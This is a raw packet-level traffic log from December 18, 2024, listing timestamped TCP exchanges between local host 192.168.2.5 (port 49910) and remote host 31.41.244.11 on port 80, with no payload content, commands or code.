Dec 18, 2024 15:22:15.064992905 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:15.065606117 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:15.065695047 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:15.065727949 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:15.065808058 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:15.066716909 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:15.066791058 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:15.066848040 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:15.066968918 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:15.067740917 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:15.067888021 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:15.203346968 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:15.203438044 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:15.203464985 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:15.203495979 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:15.203829050 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:15.203963041 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:15.204078913 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:15.204340935 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:15.205039024 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:15.205097914 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:15.205224037 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:15.205281973 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:15.206146002 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:15.206212044 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:15.206214905 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:15.206290960 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:15.207065105 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:15.207190990 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:15.207264900 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:15.207329035 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:15.208045006 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:15.208153963 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:15.208198071 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:15.208198071 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:15.209227085 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:15.209306955 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:15.209319115 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:15.209454060 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:15.210335970 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:15.210386992 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:15.210537910 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:15.210585117 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:15.211436033 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:15.211508989 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:15.211520910 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:15.211585999 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:15.212344885 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:15.212405920 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:15.212569952 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:15.212770939 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:15.213449001 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:15.213535070 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:15.213588953 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:15.213650942 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:15.214540005 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:15.214637041 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:15.214668989 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:15.214741945 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:15.215615988 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:15.215687037 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:15.215732098 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:15.215795994 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:15.216720104 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:15.216785908 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:15.216790915 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:15.217061043 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:15.217767000 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:15.217818022 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:15.217927933 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:15.217976093 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:15.219052076 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:15.219119072 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:15.219146967 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:15.219693899 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:15.220057964 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:15.220149994 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:15.220225096 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:15.220357895 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:15.221026897 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:15.221096039 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:15.221153975 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:15.221323967 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:15.222124100 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:15.222233057 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:15.222265005 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:15.222378969 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:15.223201036 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:15.223301888 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:15.223345041 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:15.223345041 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:15.224441051 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:15.224504948 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:15.224526882 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:15.224787951 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:15.225291967 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:15.225380898 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:15.225450993 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:15.225492001 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:15.226368904 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:15.226483107 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:15.226490974 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:15.226567030 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:15.227511883 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:15.227602959 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:15.227627039 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:15.227792025 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:15.228543043 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:15.228598118 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:15.228648901 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:15.228694916 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:15.229664087 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:15.229751110 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:15.229794979 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:15.229794979 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:15.230690956 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:15.230793953 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:15.230796099 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:15.230891943 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:15.231794119 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:15.231856108 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:15.231900930 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:15.231945992 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:15.232904911 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:15.233000994 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:15.233036041 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:15.233036041 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:15.234121084 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:15.234194040 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:15.234195948 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:15.234340906 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:15.235281944 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:15.235369921 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:15.235454082 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:15.236183882 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:15.236295938 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:15.236349106 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:15.237246990 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:15.237443924 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:15.237520933 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:15.238373995 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:15.238426924 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:15.238584995 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:15.239712954 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:15.239798069 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:15.239835978 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:15.240503073 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:15.240587950 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:15.240608931 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:15.240931034 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:15.241564035 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:15.241667032 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:15.241713047 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:15.241713047 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:15.242599964 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:15.242654085 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:15.242719889 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:15.243016005 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:15.243747950 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:15.243805885 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:15.243850946 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:15.243899107 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:15.244771957 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:15.244875908 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:15.244930029 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:15.245826960 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:15.245975018 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:15.246090889 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:15.246912003 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:15.247004032 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:15.247334003 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:15.247425079 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:15.248047113 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:15.248171091 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:15.248246908 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:15.249100924 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:15.249176025 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:15.249178886 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:15.249444962 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:15.250128031 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:15.250241041 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:15.250273943 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:15.250756025 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:15.251188040 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:15.251252890 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:15.251286983 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:15.251338959 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:15.252451897 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:15.252495050 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:15.252505064 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:15.252623081 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:15.253381968 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:15.253443003 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:15.253501892 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:15.253559113 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:15.254437923 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:15.254575014 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:15.254637957 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:15.255544901 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:15.255654097 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:15.255734921 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:15.256623983 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:15.256743908 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:15.256973028 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:15.257703066 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:15.257776976 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:15.257810116 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:15.257915974 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:15.258789062 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:15.258863926 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:15.258934021 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:15.259751081 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:15.259882927 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:15.395431995 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:15.395523071 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:15.395566940 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:15.395688057 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:15.395982981 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:15.396114111 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:15.396413088 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:15.396413088 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:15.397135019 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:15.397207022 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:15.397387028 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:15.397525072 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:15.397546053 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:15.397627115 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:15.398525000 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:15.398690939 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:15.398839951 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:15.399594069 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:15.399705887 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:15.399723053 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:15.400072098 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:15.400671959 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:15.400712967 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:15.400727987 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:15.400784016 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:15.401786089 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:15.401876926 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:15.401905060 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:15.402024031 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:15.402879953 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:15.402935028 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:15.403034925 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:15.403943062 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:15.404012918 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:15.404067039 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:15.404128075 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:15.404997110 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:15.405119896 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:15.405209064 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:15.406065941 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:15.406151056 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:15.406158924 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:15.406291008 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:15.407151937 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:15.407243013 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:15.407269955 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:15.407332897 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:15.408262968 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:15.408417940 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:15.408468962 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:15.408468962 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:15.409363031 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:15.409480095 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:15.409507036 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:15.409549952 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:15.410403013 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:15.410485029 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:15.410509109 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:15.410775900 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:15.411514997 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:15.411597013 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:15.411607027 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:15.411717892 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:15.412651062 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:15.412704945 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:15.412751913 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:15.412751913 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:15.413759947 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:15.413855076 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:15.413860083 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:15.413964033 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:15.414805889 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:15.414865017 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:15.414891958 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:15.414946079 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:15.415954113 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:15.416006088 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:15.416043043 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:15.416043043 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:15.416055918 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:15.416846991 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:15.416901112 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:15.416943073 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:15.417018890 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:15.417994976 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:15.418061972 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:15.418091059 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:15.418324947 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:15.419171095 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:15.419228077 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:15.419261932 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:15.419341087 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:15.420130014 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:15.420227051 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:15.420298100 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:15.421160936 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:15.421266079 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:15.421298981 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:15.421411991 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:15.422343969 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:15.422434092 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:15.422470093 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:15.422548056 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:15.423381090 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:15.423439026 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:15.423445940 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:15.423564911 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:15.424469948 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:15.424607038 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:15.424608946 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:15.424679041 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:15.425494909 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:15.425575972 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:15.425719976 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:15.425798893 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:15.426631927 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:15.426719904 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:15.426721096 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:15.426785946 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:15.427674055 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:15.427728891 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:15.427891016 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:15.427953959 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:15.428994894 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:15.429071903 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:15.429083109 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:15.429152012 CET	49910	80	192.168.2.5	31.41.244.11
